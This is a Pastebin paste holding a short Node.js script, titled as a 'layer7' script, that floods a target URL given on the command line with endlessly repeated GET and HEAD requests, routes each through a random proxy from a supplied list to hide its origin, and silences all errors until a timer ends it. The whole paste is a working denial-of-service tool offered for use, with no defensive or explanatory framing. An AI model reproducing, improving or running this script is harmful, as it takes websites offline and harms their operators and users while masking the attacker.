Advertisement
Guest User

HTTPNULL LAYER7 SCRIPT BY KRAWK

a guest
Dec 16th, 2019
470
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.74 KB | None | 0 0
  1. HTTPNULL LAYER7 SCRIPT BY KRAWK
  2. const request = require('request');
  3. const fs = require('fs');
  4. const proxies = fs.readFileSync(process.argv[3], 'utf-8').match(/\S+/g);
  5. var methods = ["GET", "HEAD"];
  6. process.on('uncaughtException', (err) => { });
  7. process.on('unhandledRejection', (err) => { });
  8. setTimeout(() => { process.exit(1); }, process.argv[4] * 1000);
  9. function Send() {
  10. request({
  11. method: methods[Math.floor(Math.random() * methods.length)],
  12. url: process.argv[2],
  13. headers: { 'Connection': 'close' },
  14. proxy: 'http://' + proxies[Math.floor(Math.random() * proxies.length)]
  15. }, function (error, response, body) { });
  16. }
  17. setInterval(() => { Send(); })
  18. console.log("null sent using get and head method!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement